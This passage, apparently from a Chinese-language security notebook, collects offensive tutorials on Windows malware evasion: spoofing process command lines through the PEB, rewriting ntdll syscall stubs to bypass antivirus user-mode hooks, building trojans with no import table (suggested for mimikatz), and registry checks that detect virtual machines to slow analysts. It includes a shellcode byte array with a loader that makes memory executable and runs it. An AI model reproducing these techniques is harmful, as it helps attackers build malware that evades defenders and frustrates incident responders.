	NtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);

	//WriteProcessMemory(hProcess, ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Length, &CommandLine, sizeof(CommandLine), NULL);
	//WriteProcessMemory(hProcess, ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Length, &CurrentDirectory, sizeof(CurrentDirectory), NULL);
	ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Length = sizeof(CommandLine);
	ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Length = sizeof(CurrentDirectory);
	ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Buffer = &CommandLine;
	ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Buffer = &CurrentDirectory;

	getchar();
	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4RsWFGKsv7Gx3D0b4c%2F-M4RxefUZJJ_2_GRtmzg%2Fimage.png?alt=media\&token=b95bca72-4922-474d-8eb9-6c091a2937b4)

## LINKS

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb>" %}

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess>" %}


# 通过重写ring3 API函数实现免杀

> 这个是以前发在Tools的文章，不是我偷的！

> 在当前环境下，安全技术的防御能力逐渐变强，很多单纯的花式调用api也会被杀毒软件定义为恶意行为，同时杀毒软件也会通过hook用户层(ring3)函数的方式来捕捉api的调用，本文将介绍如何通过重写三环函数来实现杀毒软件的绕过。

### 分析windowsAPI调用过程

现在我们通过Process Monitor来观察一下Windows Api的调用过程，我们通过断点追踪的方式在函数调用前单独下一个断点，以便观察windows是如何调用api的。

```
#include <Windows.h>


VOID WINAPI Thread(LPVOID lpParam)
{
    MessageBoxW(0, 0, 0, 0);
}

int main() {

    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Thread, 0, 0, 0);

    return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qf2JsyIbBU_lOyLQp%2F-M4qfRqR-tVE45sXl81f%2Fimage-20191107163603543.png?alt=media\&token=6166bc94-eaef-41de-b534-3696575eea77)

我们发现createthread函数最终在进入内核前会调用ntdll.dll中的ntcreatethreadex函数，那我们是否能够直接调用该函数从而进行创建线程操作呢，我们接下来尝试一下。

### 寻找函数原型

在微软公开的文档内，我们找到函数原型和如下定义：

```
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES,*POBJECT_ATTRIBUTES;

//ntdll.dll 内函数均未公开
typedef DWORD(WINAPI* pNtCreateThreadEx)
(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID Unknown
    );
```

找到参数结构体和函数原型后，我们构造函数指针用于直接调用该函数。

在此之前，我们需要先了解一下windows的系统底层设计，在dos系统年代，一个简单程序的报错就会引起整个系统的崩溃，这是因为系统运行在实模式(real mode)下，而在支持保护模式的cpu出现后，这个现象才得到缓解，保护模式引入了很多保护措施， 虚拟内存（Virtual Memory）和权限级别（Privilege Levels），就是其中最为典型的保护措施，在intel cpu设计时，一共设计了四个特权级别ring0-ring3，而在windows系统中，实际只使用两个特权级，ring0/ring3(内核/用户)。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qf2JsyIbBU_lOyLQp%2F-M4qfa9Ds4OP0VK9v_k6%2Fa.png?alt=media\&token=3e893648-87d5-44c1-b9b8-ac306e044b08)

前面我们发现绝大多数系统api最终都会进入到系统内核去执行，在内核中的操作本文不做介绍，接下来我们尝试一下直接调用用户层最后层函数来规避杀毒软件的监控。

```
#include <Windows.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS (NTAPI* pZwWriteVirtualMemory)(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);

int main() {

    HMODULE hModule = LoadLibraryW(L"ntdll.dll");

    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hModule, "NtAllocateVirtualMemory");
    LPVOID Address = NULL;
    SIZE_T uSize = 0x1000;
    HANDLE hProcess = GetCurrentProcess();
    NTSTATUS status = NtAllocateVirtualMemory(hProcess, &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
    if (status != 0) {
       return FALSE;
    }
    char a[] = "hello world\n";
    WriteProcessMemory(hProcess, Address, a, sizeof(a), 0);


    return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qffNowp972tZsGdlj%2F-M4qflcQAyLQwzFr-_lO%2Fimage-20191108093201207.png?alt=media\&token=f411a229-f244-412b-a105-d532d30062c5)

windows为了保证公开api的兼容性，所以对真正进入内核的函数进行了封装，以保证不同发行版的系统能用同样的代码调用同一个api，而真正进入内核的函数却不尽相同，这给编程开发人员便利的同时也方便了杀毒软件对此进行监控，假设更极端的情况，杀毒软件对用户层最下层(ntdll.dll)也进行了监控(通常是inline hook)，那我们要怎么规避这种检测呢？

### 分析三环函数

我们首先需要分析一下底层函数的实现。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qffNowp972tZsGdlj%2F-M4qg4MV6R1hySh9cksK%2Fimage-20191108094338812.png?alt=media\&token=48ec64bf-b228-4fb4-b1f9-9c29f9e12014)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qffNowp972tZsGdlj%2F-M4qg001279kFpowWeOQ%2Fimage-20191108094417009.png?alt=media\&token=0eaf883e-6f2e-4c41-9933-e1102ecef02a)

在我们分析了几个函数之后，我们发现，几乎所有的ntapi实现都惊人的一致，在参数传入后，把系统调用号(在内核寻找真正的处理函数使用)保存至eax内，之后判断cpu是否支持快速调用，如果支持使用syscall进入内核，反之使用中断门进入内核，这两种方式除了使用不同的堆栈切换方式和效率外并未有其他本质区别(本文不做介绍)，接下来我们的思路也比较清晰了，我们自己手工重写ring3函数，从而绕过杀毒软件的检测:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qffNowp972tZsGdlj%2F-M4qgMcXUBkS1-xNESkY%2Fimage-20191108104747560.png?alt=media\&token=43e30220-6114-4c15-828e-a979a1f2e932)

定义上图汇编文件，添加下图编译选项，添加参与编译，我们使用快速调用进入内核。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qffNowp972tZsGdlj%2F-M4qgPgPR0pTscuZgPeG%2Fimage-20191108100755257.png?alt=media\&token=6e6fb715-30d8-4dc4-afd3-bdbea30db88f)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qffNowp972tZsGdlj%2F-M4qgSiq1UYujVQblTz9%2Fimage-20191108100831250.png?alt=media\&token=a17ba0d5-57b2-4a45-be16-945ed3d32ee5)

```
#include <Windows.h>
#include <stdio.h>

EXTERN_C NTSTATUS NTAPI NtAllocateVirtualMemoryProc(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
//typedef NTSTATUS (NTAPI* pZwWriteVirtualMemory)(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);

int main() {


    pNtAllocateVirtualMemory NtAllocateVirtualMemory = &NtAllocateVirtualMemoryProc;
    LPVOID Address = NULL;
    SIZE_T uSize = 0x1000;
    HANDLE hProcess = GetCurrentProcess();
    NTSTATUS status = NtAllocateVirtualMemory(hProcess, &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);
    if (status != 0) {
       return FALSE;
    }
    char a[] = "hello world\n";
    WriteProcessMemory(hProcess, Address, a, sizeof(a), 0);


    return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qh4m4rrpHiX2Jbip-%2F-M4qhQsy3V0gYmpAozzN%2F1573201562\(1\).jpg?alt=media\&token=e73d24da-1d15-487c-b036-e8b45b68fd53)

这样我们就自己重写3环的api，因为是我们程序内定义的，所以杀毒软件(用户态)无法监控我们使用了api，下面就由大家自由发挥。<br>


# 动态调用无导入表编译

重新编译开源代码绕过杀毒软件

> 这个是以前发在Tools的文章，不是我偷的！

> 由于大多数加壳软件并不会修改被修改文件的导入表,所以杀毒软件除了计算整个可执行文件的hash值外还会计算pe文件的导入表(import address tables)的hash值，通常采用的hash算法为MD5，本文旨在使木马文件不再依赖导入表，从而绕过部分静态查杀。

### 阅读本文前置知识

1. pe文件结构
2. windows api
3. c/c++语言编程基础

### 敏感api调用

杀软会对iat表中的一些敏感函数进行检查，如CreateRemoteThread,VirtualAlloc等，CreateRemoteThread的功能是在其他进程中创建一个线程,众所周知线程就是实际的执行体,那么我们的这个行为就会被杀软关注并检查,那么我们如何解决这个问题呢？

### 确定APi函数

在我们尝试规避检测之前我们需要先确定哪一些是API函数，比如下面这个代码:

```
#include<stdio.h>
#include<Windows.h>

int main()
{
    printf("hello world\n");
    MessageBoxW(0, TEXT("hello world"), 0, 0);
    return 0;
}
```

如果你不确定哪一个函数是windows的api的话，我们可疑先把他编译出来，然后通过pe查看工具来定位api函数，这里我使用了大家都很熟悉的printf和messageboxW函数。

->Import Table

```
  1. ImageImportDescriptor:

OriginalFirstThunk:  0x0001B2F0
TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970) 
ForwarderChain:      0x00000000
Name:                0x0001B45A  ("USER32.dll")
FirstThunk:          0x0001B098

Ordinal/Hint API name
------------ ---------------------------------------
0x0286       "MessageBoxW"

  2. ImageImportDescriptor:

OriginalFirstThunk:  0x0001B320
TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970)
ForwarderChain:      0x00000000
Name:                0x0001B52C  ("VCRUNTIME140D.dll")
FirstThunk:          0x0001B0C8

Ordinal/Hint API name
------------ ---------------------------------------
0x001C       "__current_exception"
0x001D       "__current_exception_context"
0x0048       "memset"
0x0035       "_except_handler4_common"
0x002E       "__vcrt_GetModuleFileNameW"
0x002F       "__vcrt_GetModuleHandleW"
0x0031       "__vcrt_LoadLibraryExW"
0x0025       "__std_type_info_destroy_list"

  3. ImageImportDescriptor:

OriginalFirstThunk:  0x0001B370
TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970)
ForwarderChain:      0x00000000
Name:                0x0001B7EE  ("ucrtbased.dll")
FirstThunk:          0x0001B118

Ordinal/Hint API name
------------ ---------------------------------------
0x0545       "strcat_s"
0x0111       "_exit"
0x02EE       "_seh_filter_dll"
0x0197       "_initialize_onexit_table"
0x02E2       "_register_onexit_function"
0x010C       "_execute_onexit_table"
0x00E8       "_crt_atexit"
0x00E7       "_crt_at_quick_exit"
0x00E0       "_controlfp_s"
0x0566       "terminate"
0x03C9       "_wmakepath_s"
0x03E5       "_wsplitpath_s"
0x057F       "wcscpy_s"
0x0073       "__p__commode"
0x0476       "exit"
0x019A       "_initterm_e"
0x0199       "_initterm"
0x0162       "_get_initial_narrow_environment"
0x0196       "_initialize_narrow_environment"
0x00DC       "_configure_narrow_argv"
0x0081       "__setusermatherr"
0x02F2       "_set_app_type"
0x02EF       "_seh_filter_exe"
0x0015       "_CrtDbgReportW"
0x0014       "_CrtDbgReport"
0x0082       "__stdio_common_vfprintf"
0x0045       "__acrt_iob_func"
0x0549       "strcpy_s"
0x02FA       "_set_new_mode"
0x00DB       "_configthreadlocale"
0x02E3       "_register_thread_local_exe_atexit_callback"
0x00C5       "_c_exit"
0x00CA       "_cexit"
0x0070       "__p___argv"
0x006F       "__p___argc"
0x02F7       "_set_fmode"
0x008E       "__stdio_common_vsprintf_s"

  4. ImageImportDescriptor:

OriginalFirstThunk:  0x0001B258
TimeDateStamp:       0x00000000  (GMT: Thu Jan 01 00:00:00 1970)
ForwarderChain:      0x00000000
Name:                0x0001B9D2  ("KERNEL32.dll")
FirstThunk:          0x0001B000

Ordinal/Hint API name
------------ ---------------------------------------
0x02D0       "GetStartupInfoW"
0x058C       "TerminateProcess"
0x0217       "GetCurrentProcess"
0x02AE       "GetProcAddress"
0x01AB       "FreeLibrary"
0x05CE       "VirtualQuery"
0x02B4       "GetProcessHeap"
0x0349       "HeapFree"
0x0345       "HeapAlloc"
0x0261       "GetLastError"
0x0278       "GetModuleHandleW"
0x0386       "IsProcessorFeaturePresent"
0x021C       "GetCurrentThreadId"
0x056D       "SetUnhandledExceptionFilter"
0x05AD       "UnhandledExceptionFilter"
0x0363       "InitializeSListHead"
0x02E9       "GetSystemTimeAsFileTime"
0x0218       "GetCurrentProcessId"
0x044D       "QueryPerformanceCounter"
0x05FE       "WideCharToMultiByte"
0x03EF       "MultiByteToWideChar"
0x0462       "RaiseException"
0x037F       "IsDebuggerPresent"
```

现在我们确定了messageboxw是windows函数外，还看到很多并非我们指定的函数加载，这是由于在进程初始化前并不单单执行我们定义的代码，还会调用其他的系统函数，至于printf函数至少最外层并非windows api函数，这里不过多讲解。

### GetProcAddress函数

在确定api函数后，我们可以通过windows提供的另一个函数来确定其他函数的函数地址，获得地址后，我们可以通过定义函数指针的方式来执行函数。

```
#include<Windows.h>

int main()
{
    HMODULE hModule = LoadLibraryW(L"User32.dll");//获取kernel32.dll的地址，HMODULE存放的是模块地址在内存。
    typedef int(WINAPI *pMessageBoxW)(HWND, LPCTSTR, LPCTSTR, UINT);//定义函数指针
    pMessageBoxW MessageBoxW = (pMessageBoxW)GetProcAddress(hModule, "MessageBoxW");//覆盖原来messageboxw的指向。
    MessageBoxW(0, 0, 0, 0);//调用函数
    return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qgf8WPZoXxocfWKk1%2F-M4qgwM8QnyqNUogcLVx%2F20191105203154706.png?alt=media\&token=9e9ce0cc-2fc1-4c9d-a8bd-40238a78f761)

到这里我们就已经避免了iat表中出现敏感函数，但是如果再极端一点，杀毒软件做了非常严格的限制，以至于LoadLibraryW函数也被监视并限制，在前面我们看到了，哪怕不使用getprocaddress函数，它也会出现在iat表中，我们知道了getprocaddress是存放在kernel32.dll中的，那就存在一个问题，我们如何在不实用LoadLibraryW函数的情况下获取Kernel32的地址。 到这里我们的大致思路已经清晰了。

1. 获取kernel32.dll 基地址；
2. 定位 GetProcAddress函数的地址；
3. 使用GetProcAddress确定 LoadLibrary函数的地址；
4. 然后使用 LoadLibrary加载DLL文件（例如user32.dll）；
5. 使用 GetProcAddress查找某个函数的地址（例如MessageBox）；
6. 指定函数参数；
7. 调用函数。

### 获取kernel32.dll的地址

在windows操作系统中每一个进程系统都维护着一个描述该进程的结构体，我们称之为peb(进程环境块)，如可执行文件加载到内存的位置，模块列表（DLL），指示进程是否被调试的标志，不同发行版的windows系统该结构体可能存在着差异，在这个结构体里就维护者一个描述所有载入模块的链表(InMemoryOrderModuleList)，无论我们是否使用，系统都会载入kernel32.dll到进程的虚拟地址空间。

InMemoryOrderModuleList链表按照如下次序显示所有已加载模块：

1. calc.exe （可执行文件）
2. ntdll.dll
3. kernel32.dll

查看微软的官方文档有着如下定义：

```
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LIST_ENTRY {
  struct _LIST_ENTRY  *Flink;
  struct _LIST_ENTRY  *Blink;
} LIST_ENTRY, *PLIST_ENTRY;
```

由于描述过于繁琐，我们采用图例来表示。

因为使用结构体本身使用并不方便，这里使用内嵌汇编的方式来获取kernel32.dll的dllbase。&#x20;

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3tPVp7rhpzfjb3WLmw%2F-M3tPey7mBE664jc4yvi%2Fimage.png?alt=media\&token=61a702f1-f991-4b1a-9cab-fc5e92f7ff10)

```
HMODULE GetKernel32() {
    HMODULE hModule;
    _asm {
       mov eax, fs: [0x30]//fs:[00]位置存放着当前线程的线程环境块（teb），teb的0x30偏移处存放着当前线程所属进程的peb。
       mov eax, [eax + 0xc]//EAX = PEB->Ldr
       mov esi, [eax + 0x14]//ESI = PEB->Ldr.InMemOrder
       lodsd          //EAX = Second module
       xchg eax, esi     //EAX = ESI, ESI = EAX
       lodsd          //Next module
       mov ebx, [eax + 0x10]//EBX = Base address
       mov hModule,ebx
    }
    return hModule;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M4qhkhOd6s22Ejf-I4o%2F-M4qi64yCsKqDtQ6jrbI%2F20191105203325446.png?alt=media\&token=acaff7c9-f75f-48a9-88d8-7957e6e6e3a5)

### 无导入表，编译危险可执行文件

现在，我们就已经获取了kernel32.dll的模块地址。

接下来我们就可以不在导入表中出现敏感函数并使用它了。

比如这样，或者我们可以下载mimikatz的源码并在开头使用这个方法替换掉所有mimikatz调用的api，这样我们就得到了一个没有导入表的mimikatz。

```
int main() {
    //UCHAR shellcode[] =  {'\xbd','\xb0','\x63','\xa7','\x89','\xda','\xc7','\xd9','\x74','\x24','\xf4','\x5b','\x2b','\xc9','\xb1','\xbe','\x31','\x6b','\x14','\x83','\xeb','\xfc','\x03','\x6b','\x10','\x52','\x96','\x7a','\x48','\x29','\x6e','\x80','\x03','\xd9','\x48','\xfe','\xb7','\x15','\x30','\xd4','\x7e','\x64','\x72','\xa9','\x43','\x82','\x4c','\xf4','\x55','\x89','\xf4','\x1e','\xb8','\x4f','\xb6','\x09','\xfb','\xaf','\xc6','\x4a','\x2e','\x0e','\x3c','\x10','\x76','\xdb','\x63','\x34','\x60','\x41','\x3a','\x6b','\xd2','\x98','\xc2','\x4a','\xb5','\x6b','\x60','\xa2','\x1c','\x7d','\xef','\x04','\x18','\xa4','\xfb','\xfb','\x0e','\x46','\x54','\x09','\x17','\x88','\xa0','\x29','\x2b','\x7f','\x36','\x27','\xe6','\x1d','\x75','\x10','\xdd','\x42','\x18','\x95','\x14','\x9e','\x70','\x73','\x01','\x02','\x8d','\x51','\xe7','\xb9','\x88','\x9d','\xcd','\xb5','\x7f','\xe8','\x21','\x48','\x41','\x30','\x8d','\xd4','\xd5','\x9e','\x1d','\x0f','\x4e','\xcc','\x7d','\x6e','\x69','\x99','\x25','\x0a','\x6f','\x5c','\xec','\x99','\x59','\xea','\xb8','\x11','\xc3','\xb6','\xe5','\xda','\x27','\xd5','\xb4','\x8d','\x07','\x65','\xe9','\x7e','\x2f','\xf4','\x9d','\xb6','\x6a','\x35','\x6c','\xd0','\x80','\x62','\xa0','\x4b','\x10','\xa1','\x71','\xa2','\x93','\x2d','\x9e','\x7f','\x4e','\xa4','\x4a','\x1e','\x78','\x6c','\x89','\x95','\xd7','\x65','\xaf','\x6a','\xf0','\x69','\x0b','\x9b','\xfb','\xd2','\x3f','\x99','\x4b','\x7c','\xca','\x1b','\x09','\x5b','\x69','\x55','\x73','\x96','\x24','\xfe','\xd5','\xc4','\x1c','\x4b','\xa7','\x94','\xdc','\x72','\x8d','\xdd','\xf1','\x60','\x4b','\xb0','\x9a','\xc4','\x0f','\x1e','\xf2','\x59','\xcb','\xd1','\x30','\x8f','\xd4','\x1d','\x58','\x92','\xe4','\x37','\x29','\xc0','\x75','\x76','\x2f','\x37','\x97','\x16','\xdf','\x36','\xd8','\x8c','\x97','\x37','\x24','\x76','\x30','\x27','\x77','\xe6','\x03','\xe1','\x63','\xe5','\xb8','\xef','\xac','\x83','\xe1','\x14','\x3a','\xc5','\xef','\x53','\x82','\x26','\x81','\x35','\x4b','\x4b','\xdf','\xc2','\x4e','\xda','\xd5','\x06','\xfb','\x12','\xd4','\xce','\xe6','\x7d','\x4f','\x64','\xb2','\x33','\xc7','\xcc','\x53','\x29','\xec','\x77','\xe3','\x1c','\x55','\x71','\x9a','\xce','\x02','\x26','\xe7','\xbc','\x61','\xd6','\x3c','\x5f','\xe9','\x42','\x29','\x62','\xab','\x52','\x08','\x02','\x4a','\x5f','\x98','\x6f','\x3a','\x45','\xcc','\xa1','\x73','\x5a','\xb1','\x90','\x63','\x8a','\x3d','\x28','\x70','\xa4','\xa7','\xe8','\xa4','\x40','\x2a','\x50','\x8c','\x73','\x4b','\xf3','\xf3','\xc6','\x17','\x41','\xd3','\xbc','\x01','\x45','\x04','\xe3','\x07','\x6c','\x9a','\x68','\x09','\xf7','\xb7','\x02','\xfe','\x71','\x20','\xb9','\x98','\xa7','\x71','\x72','\xfa','\xbb','\x20','\x3e','\x81','\x16','\x91','\x10','\xf8','\x13','\xa9','\xd8','\x62','\xf9','\xa1','\x2a','\x7c','\x46','\x4d','\xc2','\x91','\x56','\x76','\x6e','\x01','\xf7','\x68','\xc9','\x3b','\x98','\xdd','\xa6','\x80','\x98','\x91','\xb6','\x82','\xab','\xfa','\x94','\x33','\xa1','\x33','\x0f','\x15','\xa8','\x3b','\x75','\x8e','\xf8','\x33','\x9e','\x2b','\xf1','\xfb','\x8f','\x03','\xb0','\xf9','\xb9','\x5f','\xcc','\xd2','\xf7','\x2a','\x99','\x34','\xf8','\xee','\xc0','\xfc','\x10','\xdf','\xe0','\xe0','\xc2','\x23','\xf3','\x52','\x9b','\xb0','\xfe','\x8f','\xe8','\x11','\x1e','\x18','\xbc','\xb7','\xdd','\xbe','\xa4','\x13','\xa2','\x66','\x6e','\x1b','\x3f','\xc6','\x1f','\x3f','\x9c','\x2f','\x62','\xbb','\x43','\xc4','\x45','\x6b','\xdf','\x04','\x5c','\x1e','\xc4','\x22','\x0a','\x21','\xf6','\x93','\x7f','\xd9','\x80','\x63','\xe4','\xbb','\x7f','\xc5','\xbe','\xcf','\x57','\xf5','\x29','\x0b','\x65','\x89','\x69','\x44','\x2a','\x49','\x5b','\x8e','\x35','\x9a','\x37','\xc6','\xe2','\x89','\xf0','\x8f','\xc8','\x29','\x24','\xc8','\xf1','\x97','\xb6','\x53','\x5e','\x2e','\xa4','\x36','\x50','\xb3','\x42','\xf9','\x52','\x6e','\xf2','\x09','\x6f','\x2e','\xa7','\x0d','\x45','\x0d','\x05','\x0d','\x49','\x9d','\x1b','\x47','\xb0','\xd7','\x77','\x54','\x2f','\x52','\x0e','\x88','\xf7','\x9d','\x43','\x08','\xa2','\x37','\x2c','\x33','\x31','\xc3','\xd4','\x2f','\x82','\x3d','\x75','\xd8','\x59','\xdb','\x63','\x83','\x1c','\x59','\x62','\x69','\xa8','\x57','\xe5','\xa9','\xc4','\xa9','\x1e','\x4f','\x77','\x27','\x5a','\x1e','\x1d','\x02','\x39','\x8f','\xba','\x57','\xec','\xb9','\x76','\x46','\x30','\x16','\xa8','\x99','\xac','\xe8','\x0f','\x27','\x7f','\x88','\x9c','\x87','\xa3','\x7f','\x45','\xc1','\xff','\xbd','\xa4','\xfa','\x1b','\xa8','\xcb','\x3b','\x13','\x21','\xce','\x7b','\x58','\x03','\x46','\x7a','\x49','\xde','\x10','\xe9','\x50','\xc6','\xd2','\x70','\xe3','\x51','\x83','\x20','\x2d','\x89','\x2d','\x73','\x2f','\xfc','\x43','\x8d','\x91','\x61','\xc6','\x15','\xf5','\x3d','\x8e','\x7f','\xf9','\x30','\x39','\x12','\x08','\xa2','\xa3','\xa8','\x9f','\xda','\x01','\xc4','\xab','\xe3','\xd4','\xdf','\xf0','\xbb','\xb1','\xb0','\xdb','\x71','\x62','\xd9','\xbd','\x15','\xa0','\xd8','\xfa','\xd1','\x09','\x9b','\xe1','\x20','\x82','\x74','\x8e','\xe5','\x33','\x7d','\xc3','\x5f','\xa0','\x5a','\xc9','\xc9','\x0a','\xe1','\xc5','\x0c','\x38','\x6a','\xf7','\x33','\xaf','\x2a','\xc5','\x92','\x7e','\xe7','\xf0','\x76','\x04','\x8e','\xc2','\x6a','\x68','\x35','\x0d','\xb4','\x6b','\x60','\xf0','\xbc','\x2b','\xfe','\x42','\x98','\xa5','\x80','\x3f','\x24','\xc6','\x6f','\x94','\xbb','\x56','\x19','\x54','\x2d','\x59','\x12','\xee','\x36','\xf6','\x5e','\xe1','\xce','\xf9','\xfe','\x58','\xeb','\xb1','\xf8','\xed','\xc2','\x18','\xa8'};


    typedef LPVOID(WINAPI *pVirtualAlloc)(LPVOID, DWORD, DWORD, DWORD);
    typedef BOOL(WINAPI *pVirtualProtect)(LPVOID,DWORD,DWORD,PDWORD);
    typedef BOOL(WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPVOID, DWORD, LPDWORD);

    DWORD oldProtect=0;
    HMODULE hKernal32 = GetKernal32();
    pVirtualAlloc VirtualAlloc=(pVirtualAlloc)GetProcAddress(hKernal32, "VirtualAlloc");
    pVirtualProtect VirtualProtect = (pVirtualProtect)GetProcAddress(hKernal32, "VirtualProtect");
    pWriteProcessMemory WriteProcessMemory = (pWriteProcessMemory)GetProcAddress(hKernal32, "WriteProcessMemory");

    //PVOID Address = VirtualAlloc(NULL, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_READWRITE);

    //WriteProcessMemory(GetCurrentProcess(), Address, &shellcode, sizeof(shellcode), NULL);


    //VirtualProtect(Address, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
    VirtualProtect(&shellcode, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
    ((void(*)(void)) &shellcode)();
    VirtualProtect(&shellcode, sizeof(shellcode), oldProtect, NULL);
    //VirtualProtect(Address, sizeof(shellcode), oldProtect, NULL);

    return 0;
```


# 基于Registry的虚拟机检测

## 简介

通常在编写的恶意软件会被蓝队捕捉，那么如何让蓝队花去更长时间去反编译我们的恶意软件这也成为了一种必选项，注意不是防止破解，理论上任何软件都会被破解，我们需要做的其实只是增加蓝队的破解成本。

通常蓝队会把捕捉到的恶意软件放在一个虚拟环境里如vmware，virtualbox等知名虚拟机软件，也有可能是自研的沙箱，那么如何识别软件是否运行在虚拟环境里会是防止破解重要的一环，本文将叙述一部分常见的虚拟机软件会注册的Registry，检测虚拟机防止破解以便让蓝队成员增加破解成本。

## 检测原理

通常在虚拟内，虚拟机软件会注册一些在物理机上不存在的注册表项，如果在注册表内出现了这样的选项，基本可以判定为运行在虚拟机环境，当然这种判断也有误报的可能，一些虚拟机软件会在物理界也注册一些相同的选项，但是对于虚拟机内，这样的表项算是比较少。

通常注册表项会使用windows提供的api进行查询，会使用让如下函数：

ntdll.dll导出:

* NtOpenKey
* NtEnumerateKey
* NtQueryValueKey
* NtClose

以及在其之上封装出的kernel32.dll的导出函数:

* RegOpenKey
* RegOpenKeyEx
* RegQueryValue
* RegQueryValueEx
* RegCloseKey
* RegEnumKeyEx

## 检查注册表路径

代码来自:<https://github.com/a0rtega/pafish>

```
/* sample of usage: see detection of VirtualBox in the table below to check registry path */
int vbox_reg_key7() {
    return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__");
}

/* code is taken from "pafish" project, see references on the parent page */
int pafish_exists_regkey(HKEY hKey, char * regkey_s) {
    HKEY regkey;
    LONG ret;

    /* regkey_s == "HARDWARE\\ACPI\\FADT\\VBOX__"; */
    if (pafish_iswow64()) {
        ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ | KEY_WOW64_64KEY, &regkey);
    }
    else {
        ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, &regkey);
    }

    if (ret == ERROR_SUCCESS) {
